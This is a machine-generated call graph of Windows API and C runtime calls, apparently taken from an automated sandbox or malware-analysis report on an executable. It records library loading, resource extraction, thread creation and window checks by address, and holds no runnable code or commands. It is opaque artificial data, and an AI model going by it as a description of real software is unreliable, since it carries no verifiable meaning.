API calls 95387->95389 95391 2d2cab 95389->95391 95391->95391 95393 292e27 95414 2944a8 95393->95414 95397 2d1f50 __wsopen_s 95396->95397 95398 292db2 GetLongPathNameW 95397->95398 95399 296b57 22 API calls 95398->95399 95400 292dda 95399->95400 95401 293598 95400->95401 95444 29a961 95401->95444 95404 293aa2 23 API calls 95405 2935b5 95404->95405 95406 2d32eb 95405->95406 95407 2935c0 95405->95407 95412 2d330d 95406->95412 95461 2ace60 41 API calls 95406->95461 95449 29515f 95407->95449 95413 2935df 95413->95393 95462 294ecb 95414->95462 95417 2d3833 95484 302cf9 95417->95484 95419 294ecb 94 API calls 95421 2944e1 95419->95421 95420 2d3848 95422 2d384c 95420->95422 95423 2d3869 95420->95423 95421->95417 95424 2944e9 95421->95424 95525 294f39 95422->95525 95426 2afe0b 22 API calls 95423->95426 95427 2d3854 95424->95427 95428 2944f5 95424->95428 95443 2d38ae 95426->95443 95531 2fda5a 82 API calls 95427->95531 95524 29940c 136 API calls 2 library calls 95428->95524 95431 2d3862 95431->95423 95432 292e31 95433 2d3a5f 95438 2d3a67 95433->95438 95434 294f39 68 API calls 95434->95438 95438->95434 95535 2f989b 82 API calls __wsopen_s 95438->95535 95440 299cb3 22 API calls 95440->95443 95443->95433 95443->95438 95443->95440 95510 29a4a1 95443->95510 95518 293ff7 95443->95518 95532 2f967e 22 API calls __fread_nolock 95443->95532 95533 2f95ad 42 API calls _wcslen 95443->95533 95534 300b5a 22 API calls 95443->95534 95445 2afe0b 22 API calls 95444->95445 95446 29a976 95445->95446 95447 2afddb 22 API calls 95446->95447 95448 2935aa 95447->95448 95448->95404 95450 29516e 95449->95450 95454 29518f __fread_nolock 95449->95454 95452 2afe0b 22 API calls 95450->95452 95451 2afddb 22 API calls 95453 2935cc 95451->95453 95452->95454 95455 2935f3 95453->95455 95454->95451 95456 293605 95455->95456 95460 293624 __fread_nolock 95455->95460 95459 2afe0b 22 API calls 95456->95459 95457 2afddb 22 API calls 95458 29363b 95457->95458 95458->95413 95459->95460 95460->95457 95461->95406 95536 294e90 LoadLibraryA 95462->95536 95467 2d3ccf 95469 294f39 68 API calls 95467->95469 95468 294ef6 LoadLibraryExW 95544 294e59 LoadLibraryA 95468->95544 95471 2d3cd6 95469->95471 95473 294e59 3 API calls 95471->95473 95475 2d3cde 95473->95475 95566 2950f5 95475->95566 95476 294f20 95476->95475 95477 294f2c 95476->95477 95478 294f39 68 API calls 95477->95478 95480 2944cd 95478->95480 95480->95417 95480->95419 95483 2d3d05 95485 302d15 95484->95485 95486 29511f 64 API calls 95485->95486 95487 302d29 95486->95487 95716 302e66 95487->95716 95490 2950f5 40 API calls 95491 302d56 95490->95491 95492 2950f5 40 API calls 95491->95492 95493 302d66 95492->95493 95494 2950f5 40 API calls 95493->95494 95495 302d81 95494->95495 95496 2950f5 40 API calls 95495->95496 95497 302d9c 95496->95497 95498 29511f 64 API calls 95497->95498 95499 302db3 95498->95499 95500 2bea0c ___std_exception_copy 21 API calls 95499->95500 95501 302dba 95500->95501 95502 2bea0c ___std_exception_copy 21 API calls 95501->95502 95503 302dc4 95502->95503 95504 2950f5 40 API calls 95503->95504 95505 302dd8 95504->95505 95506 3028fe 27 API calls 95505->95506 95507 302dee 95506->95507 95508 302d3f 95507->95508 95722 3022ce 79 API calls 95507->95722 95508->95420 95511 29a52b 95510->95511 95517 29a4b1 __fread_nolock 95510->95517 95513 2afe0b 22 API calls 95511->95513 95512 2afddb 22 API calls 95514 29a4b8 95512->95514 95513->95517 95515 2afddb 22 API calls 95514->95515 95516 29a4d6 95514->95516 95515->95516 95516->95443 95517->95512 95519 29400a 95518->95519 95521 2940ae 95518->95521 95520 2afe0b 22 API calls 95519->95520 95523 29403c 95519->95523 95520->95523 95521->95443 95522 2afddb 22 API calls 95522->95523 95523->95521 95523->95522 95524->95432 95526 294f43 95525->95526 95528 294f4a 95525->95528 95723 2be678 95526->95723 95529 294f59 95528->95529 95530 294f6a FreeLibrary 95528->95530 95529->95427 95530->95529 95531->95431 95532->95443 95533->95443 95534->95443 95535->95438 95537 294ea8 GetProcAddress 95536->95537 95538 294ec6 95536->95538 95539 294eb8 95537->95539 95541 2be5eb 95538->95541 95539->95538 95540 294ebf FreeLibrary 95539->95540 95540->95538 95574 2be52a 95541->95574 95543 294eea 95543->95467 95543->95468 95545 294e8d 95544->95545 95546 294e6e GetProcAddress 95544->95546 95549 294f80 95545->95549 95547 294e7e 95546->95547 95547->95545 95548 294e86 FreeLibrary 95547->95548 95548->95545 95550 2afe0b 22 API calls 95549->95550 95551 294f95 95550->95551 95642 295722 95551->95642 95553 294fa1 __fread_nolock 95554 2d3d1d 95553->95554 95555 2950a5 95553->95555 95565 294fdc 95553->95565 95656 30304d 74 API calls 95554->95656 95645 2942a2 CreateStreamOnHGlobal 95555->95645 95558 2d3d22 95560 29511f 64 API calls 95558->95560 95559 2950f5 40 API calls 95559->95565 95561 2d3d45 95560->95561 95562 2950f5 40 API calls 95561->95562 95564 29506e messages 95562->95564 95564->95476 95565->95558 95565->95559 95565->95564 95651 29511f 95565->95651 95567 2d3d70 95566->95567 95568 295107 95566->95568 95678 2be8c4 95568->95678 95571 3028fe 95699 30274e 95571->95699 95573 302919 95573->95483 95576 2be536 BuildCatchObjectHelperInternal 95574->95576 95575 2be544 95599 2bf2d9 20 API calls _abort 95575->95599 95576->95575 95578 2be574 95576->95578 95581 2be579 95578->95581 95582 2be586 95578->95582 95579 2be549 95600 2c27ec 26 API calls _abort 95579->95600 95601 2bf2d9 20 API calls _abort 95581->95601 95591 2c8061 95582->95591 95585 2be58f 95586 2be595 95585->95586 95589 2be5a2 95585->95589 95602 2bf2d9 20 API calls _abort 95586->95602 95587 2be554 __wsopen_s 95587->95543 95603 2be5d4 LeaveCriticalSection __fread_nolock 95589->95603 95592 2c806d BuildCatchObjectHelperInternal 95591->95592 95604 2c2f5e EnterCriticalSection 95592->95604 95594 2c807b 95605 2c80fb 95594->95605 95598 2c80ac __wsopen_s 95598->95585 95599->95579 95600->95587 95601->95587 95602->95587 95603->95587 95604->95594 95606 2c811e 95605->95606 95607 2c8177 95606->95607 95614 2c8088 95606->95614 95621 2b918d EnterCriticalSection 95606->95621 95622 2b91a1 LeaveCriticalSection 95606->95622 95623 2c4c7d 95607->95623 95612 2c8189 95612->95614 95636 2c3405 11 API calls 2 library calls 95612->95636 95618 2c80b7 95614->95618 95615 2c81a8 95637 2b918d EnterCriticalSection 95615->95637 95641 2c2fa6 LeaveCriticalSection 95618->95641 95620 2c80be 95620->95598 95621->95606 95622->95606 95628 2c4c8a _abort 95623->95628 95624 2c4cca 95639 2bf2d9 20 API calls _abort 95624->95639 95625 2c4cb5 RtlAllocateHeap 95626 2c4cc8 95625->95626 95625->95628 95630 2c29c8 95626->95630 95628->95624 95628->95625 95638 2b4ead 7 API calls 2 library calls 95628->95638 95631 2c29fc __dosmaperr 95630->95631 95632 2c29d3 RtlFreeHeap 95630->95632 95631->95612 95632->95631 95633 2c29e8 95632->95633 95640 2bf2d9 20 API calls _abort 95633->95640 95635 2c29ee GetLastError 95635->95631 95636->95615 95637->95614 95638->95628 95639->95626 95640->95635 95641->95620 95643 2afddb 22 API calls 95642->95643 95644 295734 95643->95644 95644->95553 95646 2942bc FindResourceExW 95645->95646 95650 2942d9 95645->95650 95647 2d35ba LoadResource 95646->95647 95646->95650 95648 2d35cf SizeofResource 95647->95648 95647->95650 95649 2d35e3 LockResource 95648->95649 95648->95650 95649->95650 95650->95565 95652 29512e 95651->95652 95653 2d3d90 95651->95653 95657 2bece3 95652->95657 95656->95558 95660 2beaaa 95657->95660 95659 29513c 95659->95565 95664 2beab6 BuildCatchObjectHelperInternal 95660->95664 95661 2beac2 95673 2bf2d9 20 API calls _abort 95661->95673 95663 2beae8 95675 2b918d EnterCriticalSection 95663->95675 95664->95661 95664->95663 95665 2beac7 95674 2c27ec 26 API calls _abort 95665->95674 95668 2beaf4 95676 2bec0a 62 API calls 2 library calls 95668->95676 95670 2beb08 95677 2beb27 LeaveCriticalSection __fread_nolock 95670->95677 95671 2bead2 __wsopen_s 95671->95659 95673->95665 95674->95671 95675->95668 95676->95670 95677->95671 95681 2be8e1 95678->95681 95680 295118 95680->95571 95682 2be8ed BuildCatchObjectHelperInternal 95681->95682 95683 2be92d 95682->95683 95684 2be900 ___scrt_fastfail 95682->95684 95685 2be925 __wsopen_s 95682->95685 95696 2b918d EnterCriticalSection 95683->95696 95694 2bf2d9 20 API calls _abort 95684->95694 95685->95680 95688 2be937 95697 2be6f8 38 API calls 4 library calls 95688->95697 95689 2be91a 95695 2c27ec 26 API calls _abort 95689->95695 95691 2be94e 95698 2be96c LeaveCriticalSection __fread_nolock 95691->95698 95694->95689 95695->95685 95696->95688 95697->95691 95698->95685 95702 2be4e8 95699->95702 95701 30275d 95701->95573 95705 2be469 95702->95705 95704 2be505 95704->95701 95706 2be478 95705->95706 95707 2be48c 95705->95707 95713 2bf2d9 20 API calls _abort 95706->95713 95712 2be488 __alldvrm 95707->95712 95715 2c333f 11 API calls 2 library calls 95707->95715 95709 2be47d 95714 2c27ec 26 API calls _abort 95709->95714 95712->95704 95713->95709 95714->95712 95715->95712 95721 302e7a 95716->95721 95717 2950f5 40 API calls 95717->95721 95718 302d3b 95718->95490 95718->95508 95719 3028fe 27 API calls 95719->95721 95720 29511f 64 API calls 95720->95721 95721->95717 95721->95718 95721->95719 95721->95720 95722->95508 95724 2be684 BuildCatchObjectHelperInternal 95723->95724 95725 2be6aa 95724->95725 95726 2be695 95724->95726 95727 2be6a5 __wsopen_s 95725->95727 95738 2b918d EnterCriticalSection 95725->95738 95736 2bf2d9 20 API calls _abort 95726->95736 95727->95528 95730 2be69a 95737 2c27ec 26 API calls _abort 95730->95737 95731 2be6c6 95739 2be602 95731->95739 95734 2be6d1 95755 2be6ee LeaveCriticalSection __fread_nolock 95734->95755 95736->95730 95737->95727 95738->95731 95740 2be60f 95739->95740 95741 2be624 95739->95741 95756 2bf2d9 20 API calls _abort 95740->95756 95753 2be61f 95741->95753 95758 2bdc0b 95741->95758 95744 2be614 95757 2c27ec 26 API calls _abort 95744->95757 95750 2be646 95775 2c862f 95750->95775 95753->95734 95754 2c29c8 _free 20 API calls 95754->95753 95755->95727 95756->95744 95757->95753 95759 2bdc23 95758->95759 95763 2bdc1f 95758->95763 95760 2bd955 __fread_nolock 26 API calls 95759->95760 95759->95763 95761 2bdc43 95760->95761 95790 2c59be 95761->95790 95764 2c4d7a 95763->95764 95765 2be640 95764->95765 95766 2c4d90 95764->95766 95768 2bd955 95765->95768 95766->95765 95767 2c29c8 _free 20 API calls 95766->95767 95767->95765 95769 2bd961 95768->95769 95770 2bd976 95768->95770 95922 2bf2d9 20 API calls _abort 95769->95922 95770->95750 95772 2bd966 95923 2c27ec 26 API calls _abort 95772->95923 95774 2bd971 95774->95750 95776 2c863e 95775->95776 95777 2c8653 95775->95777 95924 2bf2c6 20 API calls _abort 95776->95924 95779 2c868e 95777->95779 95783 2c867a 95777->95783 95929 2bf2c6 20 API calls _abort 95779->95929 95780 2c8643 95925 2bf2d9 20 API calls _abort 95780->95925 95926 2c8607 95783->95926 95784 2c8693 95930 2bf2d9 20 API calls _abort 95784->95930 95787 2be64c 95787->95753 95787->95754 95788 2c869b 95931 2c27ec 26 API calls _abort 95788->95931 95791 2c59ca BuildCatchObjectHelperInternal 95790->95791 95792 2c59ea 95791->95792 95793 2c59d2 95791->95793 95795 2c5a88 95792->95795 95800 2c5a1f 95792->95800 95815 2bf2c6 20 API calls _abort 95793->95815 95874 2bf2c6 20 API calls _abort 95795->95874 95796 2c59d7 95816 2bf2d9 20 API calls _abort 95796->95816 95799 2c5a8d 95875 2bf2d9 20 API calls _abort 95799->95875 95817 2c5147 EnterCriticalSection 95800->95817 95801 2c59df __wsopen_s 95801->95763 95804 2c5a95 95876 2c27ec 26 API calls _abort 95804->95876 95805 2c5a25 95807 2c5a56 95805->95807 95808 2c5a41 95805->95808 95820 2c5aa9 95807->95820 95818 2bf2d9 20 API calls _abort 95808->95818 95811 2c5a46 95819 2bf2c6 20 API calls _abort 95811->95819 95812 2c5a51 95873 2c5a80 LeaveCriticalSection __wsopen_s 95812->95873 95815->95796 95816->95801 95817->95805 95818->95811 95819->95812 95821 2c5ad7 95820->95821 95822 2c5ad0 95820->95822 95823 2c5afa 95821->95823 95824 2c5adb 95821->95824 95901 2b0a8c 95822->95901 95827 2c5b4b 95823->95827 95828 2c5b2e 95823->95828 95877 2bf2c6 20 API calls _abort 95824->95877 95832 2c5b61 95827->95832 95883 2c9424 28 API calls __wsopen_s 95827->95883 95880 2bf2c6 20 API calls _abort 95828->95880 95829 2c5cb1 95829->95812 95830 2c5ae0 95878 2bf2d9 20 API calls _abort 95830->95878 95884 2c564e 95832->95884 95834 2c5b33 95881 2bf2d9 20 API calls _abort 95834->95881 95836 2c5ae7 95879 2c27ec 26 API calls _abort 95836->95879 95841 2c5b6f 95844 2c5b95 95841->95844 95845 2c5b73 95841->95845 95842 2c5ba8 95847 2c5bbc 95842->95847 95848 2c5c02 WriteFile 95842->95848 95843 2c5b3b 95882 2c27ec 26 API calls _abort 95843->95882 95892 2c542e 45 API calls 3 library calls 95844->95892 95855 2c5c69 95845->95855 95891 2c55e1 GetLastError WriteConsoleW CreateFileW __wsopen_s 95845->95891 95851 2c5bc4 95847->95851 95852 2c5bf2 95847->95852 95850 2c5c25 GetLastError 95848->95850 95861 2c5b8b 95848->95861 95850->95861 95856 2c5bc9 95851->95856 95857 2c5be2 95851->95857 95895 2c56c4 7 API calls 2 library calls 95852->95895 95855->95822 95899 2bf2d9 20 API calls _abort 95855->95899 95856->95855 95862 2c5bd2 95856->95862 95894 2c5891 8 API calls 2 library calls 95857->95894 95859 2c5be0 95859->95861 95861->95822 95861->95855 95864 2c5c45 95861->95864 95893 2c57a3 7 API calls 2 library calls 95862->95893 95863 2c5c8e 95900 2bf2c6 20 API calls _abort 95863->95900 95867 2c5c4c 95864->95867 95868 2c5c60 95864->95868 95896 2bf2d9 20 API calls _abort 95867->95896 95898 2bf2a3 20 API calls __dosmaperr 95868->95898 95871 2c5c51 95897 2bf2c6 20 API calls _abort 95871->95897 95873->95801 95874->95799 95875->95804 95876->95801 95877->95830 95878->95836 95879->95822 95880->95834 95881->95843 95882->95822 95883->95832 95908 2cf89b 95884->95908 95886 2c565e 95887 2c5663 95886->95887 95917 2c2d74 38 API calls 2 library calls 95886->95917 95887->95841 95887->95842 95889 2c5686 95889->95887 95890 2c56a4 GetConsoleMode 95889->95890 95890->95887 95891->95861 95892->95861 95893->95859 95894->95859 95895->95859 95896->95871 95897->95822 95898->95822 95899->95863 95900->95822 95902 2b0a97 IsProcessorFeaturePresent 95901->95902 95903 2b0a95 95901->95903 95905 2b0c5d 95902->95905 95903->95829 95921 2b0c21 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 95905->95921 95907 2b0d40 95907->95829 95909 2cf8a8 95908->95909 95911 2cf8b5 95908->95911 95918 2bf2d9 20 API calls _abort 95909->95918 95913 2cf8c1 95911->95913 95919 2bf2d9 20 API calls _abort 95911->95919 95912 2cf8ad 95912->95886 95913->95886 95915 2cf8e2 95920 2c27ec 26 API calls _abort 95915->95920 95917->95889 95918->95912 95919->95915 95920->95912 95921->95907 95922->95772 95923->95774 95924->95780 95925->95787 95932 2c8585 95926->95932 95928 2c862b 95928->95787 95929->95784 95930->95788 95931->95787 95933 2c8591 BuildCatchObjectHelperInternal 95932->95933 95943 2c5147 EnterCriticalSection 95933->95943 95935 2c859f 95936 2c85c6 95935->95936 95937 2c85d1 95935->95937 95944 2c86ae 95936->95944 95959 2bf2d9 20 API calls _abort 95937->95959 95940 2c85cc 95960 2c85fb LeaveCriticalSection __wsopen_s 95940->95960 95942 2c85ee __wsopen_s 95942->95928 95943->95935 95961 2c53c4 95944->95961 95946 2c86c4 95974 2c5333 21 API calls 2 library calls 95946->95974 95947 2c86be 95947->95946 95950 2c53c4 __wsopen_s 26 API calls 95947->95950 95958 2c86f6 95947->95958 95949 2c871c 95955 2c873e 95949->95955 95975 2bf2a3 20 API calls __dosmaperr 95949->95975 95952 2c86ed 95950->95952 95951 2c53c4 __wsopen_s 26 API calls 95953 2c8702 CloseHandle 95951->95953 95956 2c53c4 __wsopen_s 26 API calls 95952->95956 95953->95946 95957 2c870e GetLastError 95953->95957 95955->95940 95956->95958 95957->95946 95958->95946 95958->95951 95959->95940 95960->95942 95962 2c53e6 95961->95962 95963 2c53d1 95961->95963 95967 2c540b 95962->95967 95978 2bf2c6 20 API calls _abort 95962->95978 95976 2bf2c6 20 API calls _abort 95963->95976 95966 2c53d6 95977 2bf2d9 20 API calls _abort 95966->95977 95967->95947 95968 2c5416 95979 2bf2d9 20 API calls _abort 95968->95979 95971 2c53de 95971->95947 95972 2c541e 95980 2c27ec 26 API calls _abort 95972->95980 95974->95949 95975->95955 95976->95966 95977->95971 95978->95968 95979->95972 95980->95971 95981 291044 95986 2910f3 95981->95986 95983 29104a 96022 2b00a3 29 API calls __onexit 95983->96022 95985 291054 96023 291398 95986->96023 95990 29116a 95991 29a961 22 API calls 95990->95991 95992 291174 95991->95992 95993 29a961 22 API calls 95992->95993 95994 29117e 95993->95994 95995 29a961 22 API calls 95994->95995 95996 291188 95995->95996 95997 29a961 22 API calls 95996->95997 95998 2911c6 95997->95998 95999 29a961 22 API calls 95998->95999 96000 291292 95999->96000 96033 29171c 96000->96033 96004 2912c4 96005 29a961 22 API calls 96004->96005 96006 2912ce 96005->96006 96054 2a1940 96006->96054 96008 2912f9 96064 291aab 96008->96064 96010 291315 96011 291325 GetStdHandle 96010->96011 96012 29137a 96011->96012 96013 2d2485 96011->96013 96016 291387 OleInitialize 96012->96016 96013->96012 96014 2d248e 96013->96014 96015 2afddb 22 API calls 96014->96015 96017 2d2495 96015->96017 96016->95983 96071 30011d InitializeCriticalSectionAndSpinCount InterlockedExchange GetCurrentProcess GetCurrentProcess DuplicateHandle 96017->96071 96019 2d249e 96072 300944 CreateThread 96019->96072 96021 2d24aa CloseHandle 96021->96012 96022->95985 96073 2913f1 96023->96073 96026 2913f1 22 API calls 96027 2913d0 96026->96027 96028 29a961 22 API calls 96027->96028 96029 2913dc 96028->96029 96030 296b57 22 API calls 96029->96030 96031 291129 96030->96031 96032 291bc3 6 API calls 96031->96032 96032->95990 96034 29a961 22 API calls 96033->96034 96035 29172c 96034->96035 96036 29a961 22 API calls 96035->96036 96037 291734 96036->96037 96038 29a961 22 API calls 96037->96038 96039 29174f 96038->96039 96040 2afddb 22 API calls 96039->96040 96041 29129c 96040->96041 96042 291b4a 96041->96042 96043 291b58 96042->96043 96044 29a961 22 API calls 96043->96044 96045 291b63 96044->96045 96046 29a961 22 API calls 96045->96046 96047 291b6e 96046->96047 96048 29a961 22 API calls 96047->96048 96049 291b79 96048->96049 96050 29a961 22 API calls 96049->96050 96051 291b84 96050->96051 96052 2afddb 22 API calls 96051->96052 96053 291b96 RegisterWindowMessageW 96052->96053 96053->96004 96055 2a195d 96054->96055 96056 2a1981 96054->96056 96063 2a196e 96055->96063 96082 2b0242 5 API calls __Init_thread_wait 96055->96082 96080 2b0242 5 API calls __Init_thread_wait 96056->96080 96058 2a198b 96058->96055 96081 2b01f8 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 96058->96081 96060 2a8727 96060->96063 96083 2b01f8 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 96060->96083 96063->96008 96065 2d272d 96064->96065 96066 291abb 96064->96066 96084 303209 23 API calls 96065->96084 96068 2afddb 22 API calls 96066->96068 96070 291ac3 96068->96070 96069 2d2738 96070->96010 96071->96019 96072->96021 96085 30092a 28 API calls 96072->96085 96074 29a961 22 API calls 96073->96074 96075 2913fc 96074->96075 96076 29a961 22 API calls 96075->96076 96077 291404 96076->96077 96078 29a961 22 API calls 96077->96078 96079 2913c6 96078->96079 96079->96026 96080->96058 96081->96055 96082->96060 96083->96063 96084->96069 96086 2e2a00 96101 29d7b0 messages 96086->96101 96087 29db11 PeekMessageW 96087->96101 96088 29d807 GetInputState 96088->96087 96088->96101 96089 2e1cbe TranslateAcceleratorW 96089->96101 96091 29db8f PeekMessageW 96091->96101 96092 29da04 timeGetTime 96092->96101 96093 29db73 TranslateMessage DispatchMessageW 96093->96091 96094 29dbaf Sleep 96111 29dbc0 96094->96111 96095 2e2b74 Sleep 96095->96111 96096 2e1dda timeGetTime 96263 2ae300 23 API calls 96096->96263 96097 2ae551 timeGetTime 96097->96111 96100 2e2c0b GetExitCodeProcess 96104 2e2c37 CloseHandle 96100->96104 96105 2e2c21 WaitForSingleObject 96100->96105 96101->96087 96101->96088 96101->96089 96101->96091 96101->96092 96101->96093 96101->96094 96101->96095 96101->96096 96107 29d9d5 96101->96107 96118 29dfd0 96101->96118 96141 2a1310 96101->96141 96199 2aedf6 96101->96199 96204 29dd50 235 API calls 96101->96204 96205 29bf40 96101->96205 96264 303a2a 23 API calls 96101->96264 96265 29ec40 96101->96265 96289 30359c 82 API calls __wsopen_s 96101->96289 96102 3229bf GetForegroundWindow 96102->96111 96104->96111 96105->96101 96105->96104 96106 2e2a31 96106->96107 96108 2e2ca9 Sleep 96108->96101 96111->96097 96111->96100 96111->96101 96111->96102 96111->96106 96111->96107 96111->96108 96290 315658 23 API calls 96111->96290 96291 2fe97b QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 96111->96291 96292 2fd4dc 47 API calls 96111->96292 96119 29e010 96118->96119 96135 29e0dc messages 96119->96135 96295 2b0242 5 API calls __Init_thread_wait 96119->96295 96122 2e2fca 96124 29a961 22 API calls 96122->96124 96122->96135 96123 29a961 22 API calls 96123->96135 96125 2e2fe4 96124->96125 96296 2b00a3 29 API calls __onexit 96125->96296 96129 2e2fee 96297 2b01f8 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 96129->96297 96132 30359c 82 API calls 96132->96135 96134 29ec40 235 API calls 96134->96135 96135->96123 96135->96132 96135->96134 96136 29a8c7 22 API calls 96135->96136 96137 2a04f0 22 API calls 96135->96137 96138 29e3e1 96135->96138 96293 29a81b 41 API calls 96135->96293 96294 2aa308 235 API calls 96135->96294 96298 2b0242 5 API calls __Init_thread_wait 96135->96298 96299 2b00a3 29 API calls __onexit 96135->96299 96300 2b01f8 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 96135->96300 96301 3147d4 235 API calls 96135->96301 96302 3168c1 235 API calls 96135->96302 96136->96135 96137->96135 96138->96101 96142 2a17b0 96141->96142 96143 2a1376 96141->96143 96406 2b0242 5 API calls __Init_thread_wait 96142->96406 96144 2a1390 96143->96144 96145 2e6331 96143->96145 96147 2a1940 9 API calls 96144->96147 96411 31709c 235 API calls 96145->96411 96150 2a13a0 96147->96150 96149 2a17ba 96152 2a17fb 96149->96152 96153 299cb3 22 API calls 96149->96153 96154 2a1940 9 API calls 96150->96154 96151 2e633d 96151->96101 96156 2e6346 96152->96156 96158 2a182c 96152->96158 96161 2a17d4 96153->96161 96155 2a13b6 96154->96155 96155->96152 96157 2a13ec 96155->96157 96412 30359c 82 API calls __wsopen_s 96156->96412 96157->96156 96181 2a1408 __fread_nolock 96157->96181 96408 29aceb 23 API calls messages 96158->96408 96407 2b01f8 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 96161->96407 96162 2a1839 96409 2ad217 235 API calls 96162->96409 96165 2e636e 96413 30359c 82 API calls __wsopen_s 96165->96413 96166 2a152f 96168 2a153c 96166->96168 96169 2e63d1 96166->96169 96171 2a1940 9 API calls 96168->96171 96415 315745 54 API calls _wcslen 96169->96415 96172 2a1549 96171->96172 96176 2e64fa 96172->96176 96178 2a1940 9 API calls 96172->96178 96173 2afddb 22 API calls 96173->96181 96174 2a1872 96410 2afaeb 23 API calls 96174->96410 96175 2afe0b 22 API calls 96175->96181 96185 2e6369 96176->96185 96416 30359c 82 API calls __wsopen_s 96176->96416 96183 2a1563 96178->96183 96180 29ec40 235 API calls 96180->96181 96181->96162 96181->96165 96181->96166 96181->96173 96181->96175 96181->96180 96182 2e63b2 96181->96182 96181->96185 96414 30359c 82 API calls __wsopen_s 96182->96414 96183->96176 96186 29a8c7 22 API calls 96183->96186 96188 2a15c7 messages 96183->96188 96185->96101 96186->96188 96187 2a1940 9 API calls 96187->96188 96188->96174 96188->96176 96188->96185 96188->96187 96190 2a167b messages 96188->96190 96192 294f39 68 API calls 96188->96192 96303 2fd4ce 96188->96303 96306 306ef1 96188->96306 96386 30f0ec 96188->96386 96395 301e96 96188->96395 96399 31958b 96188->96399 96402 31959f 96188->96402 96189 2a171d 96189->96101 96190->96189 96405 2ace17 22 API calls messages 96190->96405 96192->96188 96200 2aee09 96199->96200 96201 2aee12 96199->96201 96200->96101 96201->96200 96202 2aee36 IsDialogMessageW 96201->96202 96203 2eefaf GetClassLongW 96201->96203 96202->96200 96202->96201 96203->96201 96203->96202 96204->96101 96839 29adf0 96205->96839 96207 29bf9d 96208 29bfa9 96207->96208 96209 2e04b6 96207->96209 96211 2e04c6 96208->96211 96212 29c01e 96208->96212 96858 30359c 82 API calls __wsopen_s 96209->96858 96859 30359c 82 API calls __wsopen_s 96211->96859 96844 29ac91 96212->96844 96215 2e04f5 96227 2e055a 96215->96227 96860 2ad217 235 API calls 96215->96860 96217 29c7da 96222 2afe0b 22 API calls 96217->96222 96218 2f7120 22 API calls 96226 29c039 __fread_nolock messages 96218->96226 96220 2afddb 22 API calls 96220->96226 96230 29c808 __fread_nolock 96222->96230 96226->96215 96226->96217 96226->96218 96226->96220 96226->96227 96229 29af8a 22 API calls 96226->96229 96226->96230 96231 2e091a 96226->96231 96234 29ec40 235 API calls 96226->96234 96235 2e08a5 96226->96235 96239 2e0591 96226->96239 96240 2e08f6 96226->96240 96247 29c237 96226->96247 96248 29c603 96226->96248 96257 2e09bf 96226->96257 96258 29bbe0 40 API calls 96226->96258 96261 2afe0b 22 API calls 96226->96261 96848 29ad81 96226->96848 96863 2f7099 22 API calls __fread_nolock 96226->96863 96864 315745 54 API calls _wcslen 96226->96864 96865 2aaa42 22 API calls messages 96226->96865 96866 2ff05c 40 API calls 96226->96866 96867 29a993 41 API calls 96226->96867 96868 29aceb 23 API calls messages 96226->96868 96227->96248 96861 30359c 82 API calls __wsopen_s 96227->96861 96228 2afe0b 22 API calls 96250 29c350 __fread_nolock messages 96228->96250 96229->96226 96230->96228 96871 303209 23 API calls 96231->96871 96234->96226 96236 29ec40 235 API calls 96235->96236 96238 2e08cf 96236->96238 96238->96248 96869 29a81b 41 API calls 96238->96869 96862 30359c 82 API calls __wsopen_s 96239->96862 96870 30359c 82 API calls __wsopen_s 96240->96870 96246 29c253 96251 2e0976 96246->96251 96254 29c297 messages 96246->96254 96247->96246 96249 29a8c7 22 API calls 96247->96249 96248->96101 96249->96246 96262 29c3ac 96250->96262 96857 2ace17 22 API calls messages 96250->96857 96872 29aceb 23 API calls messages 96251->96872 96254->96257 96855 29aceb 23 API calls messages 96254->96855 96256 29c335 96256->96257 96259 29c342 96256->96259 96257->96248 96873 30359c 82 API calls __wsopen_s 96257->96873 96258->96226 96856 29a704 22 API calls messages 96259->96856 96261->96226 96262->96101 96263->96101 96264->96101 96283 29ec76 messages 96265->96283 96266 2b0242 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 96266->96283 96267 2b00a3 29 API calls pre_c_initialization 96267->96283 96268 29fef7 96274 29a8c7 22 API calls 96268->96274 96282 29ed9d messages 96268->96282 96270 2afddb 22 API calls 96270->96283 96272 2e4600 96277 29a8c7 22 API calls 96272->96277 96272->96282 96273 2e4b0b 96885 30359c 82 API calls __wsopen_s 96273->96885 96274->96282 96277->96282 96279 29a8c7 22 API calls 96279->96283 96280 29fbe3 96280->96282 96284 2e4bdc 96280->96284 96288 29f3ae messages 96280->96288 96281 29a961 22 API calls 96281->96283 96282->96101 96283->96266 96283->96267 96283->96268 96283->96270 96283->96272 96283->96273 96283->96279 96283->96280 96283->96281 96283->96282 96286 2e4beb 96283->96286 96287 2b01f8 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent __Init_thread_footer 96283->96287 96283->96288 96882 2a01e0 235 API calls 2 library calls 96283->96882 96883 2a06a0 41 API calls messages 96283->96883 96886 30359c 82 API calls __wsopen_s 96284->96886 96887 30359c 82 API calls __wsopen_s 96286->96887 96287->96283 96288->96282 96884 30359c 82 API calls __wsopen_s 96288->96884 96289->96101 96290->96111 96291->96111 96292->96111 96293->96135 96294->96135 96295->96122 96296->96129 96297->96135 96298->96135 96299->96135 96300->96135 96301->96135 96302->96135 96417 2fdbbe lstrlenW 96303->96417 96307 29a961 22 API calls 96306->96307 96308 306f1d 96307->96308 96309 29a961 22 API calls 96308->96309 96310 306f26 96309->96310 96311 306f3a 96310->96311 96599 29b567 39 API calls 96310->96599 96422 297510 96311->96422 96314 306fbc 96317 297510 53 API calls 96314->96317 96315 3070bf 96316 294ecb 94 API calls 96315->96316 96318 3070d0 96316->96318 96320 306fc8 96317->96320 96321 3070e5 96318->96321 96323 294ecb 94 API calls 96318->96323 96319 306f57 _wcslen 96319->96314 96319->96315 96385 3070e9 96319->96385 96322 29a8c7 22 API calls 96320->96322 96328 306fdb 96320->96328 96324 29a961 22 API calls 96321->96324 96321->96385 96322->96328 96323->96321 96325 30711a 96324->96325 96326 29a961 22 API calls 96325->96326 96329 307126 96326->96329 96327 307027 96331 297510 53 API calls 96327->96331 96328->96327 96330 307005 96328->96330 96333 29a8c7 22 API calls 96328->96333 96332 29a961 22 API calls 96329->96332 96334 2933c6 22 API calls 96330->96334 96335 307034 96331->96335 